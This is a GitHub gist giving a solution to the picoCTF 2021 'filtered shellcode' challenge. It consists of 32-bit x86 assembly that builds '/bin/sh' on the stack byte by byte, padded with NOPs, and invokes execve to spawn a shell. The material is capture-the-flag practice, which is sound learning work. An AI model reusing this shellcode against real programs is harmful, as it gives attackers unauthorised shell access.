Created
April 9, 2021 18:51
-
-
Save MEhrn00/f0908376afba22386c187eb12e864672 to your computer and use it in GitHub Desktop.
picoctf 2021 filtered shellcode solution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| BITS 32 | |
| global _start | |
| section .text | |
| _start: | |
| xor eax, eax | |
| push eax | |
| push eax | |
| push eax | |
| push eax | |
| mov edi, esp | |
| mov al, 0x2f | |
| add [edi], al | |
| inc edi | |
| nop | |
| mov al, 0x62 | |
| add [edi], al | |
| inc edi | |
| nop | |
| mov al, 0x69 | |
| add [edi], al | |
| inc edi | |
| nop | |
| mov al, 0x6e | |
| add [edi], al | |
| inc edi | |
| nop | |
| mov al, 0x2f | |
| add [edi], al | |
| inc edi | |
| nop | |
| mov al, 0x73 | |
| add [edi], al | |
| inc edi | |
| nop | |
| mov al, 0x68 | |
| add [edi], al | |
| inc edi | |
| nop | |
| xor ebx, ebx | |
| xor ecx, ecx | |
| mov al, 0xb | |
| mov ebx, esp | |
| cdq | |
| nop | |
| int 0x80 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment